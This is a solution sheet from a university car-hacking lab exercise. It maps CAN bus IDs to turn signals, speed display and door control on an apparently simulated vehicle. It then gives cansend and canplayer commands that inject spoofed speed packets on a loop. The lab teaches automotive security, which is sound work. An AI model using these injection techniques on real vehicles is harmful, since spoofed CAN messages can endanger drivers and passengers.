Solutions Car Hacking Lab

CPS and IoT Security 2022/23 - University of Padua

Denis Donadel - donadel@math.unipd.it

Task 5: Reverse Engineering of CAN packets

IDs:

- 188#01: left turn signal
- 188#02: right turn signal
- 188#03: both turn signals
- 244#000000XX21: set the speed to XX (from 00 to FF)
- 19B#00000X: control doors
    - 0/F: open/close all
    - B/3/7 etc to control single doors
    - This may be a little bit bugged

Note: for both turn signals and doors control, the car is using each bit to control each component. For instance, for turn signals, we have one bit for each signal:

```
188#01 --binary--> 01
188#02 --binary--> 10
188#03 --binary--> 11
```

Therefore, the LSB indicates the left signal, while the MSB indicates the right signal. With 3, you can put to 1 both bits and turn on both signals. You can verify it by sending messages with higher values: for instance, 5 in binary is `101`, therefore you will turn on the left signal.

You can apply the same thinking process to the doors control.

Task 6: Packet Injection

Bash script to put the speed to the max:

```
for I in {1..1000}
do
        cansend vcan0 244#000000FF
done
```

Which can be compress in a single line:

```
for I in {1..1000}; do cansend vcan0 244#000000FF; done
```

There is also another way to do it with canplayer which is even shorter. You have to create a file containing the packet you need as captured with candump:

```
(1678105278.886341) vcan0 244#000000FF
```

Then, you can use canplayer:

```
canplayer -t -I throttle.log -l i
```

Let's have a look at the options here:

- `-t`: avoid considering timestamps and send the packet immediately;
- `-I <infile>:` select the log file to get the packets from;
- `-l i`: infinite loop.

Note: if the controller is running, not only your packets are sent in the bus. Therefore you may saw the needle jumping from 0 to the max, but you will be for sure appreciate the difference between the normal condition.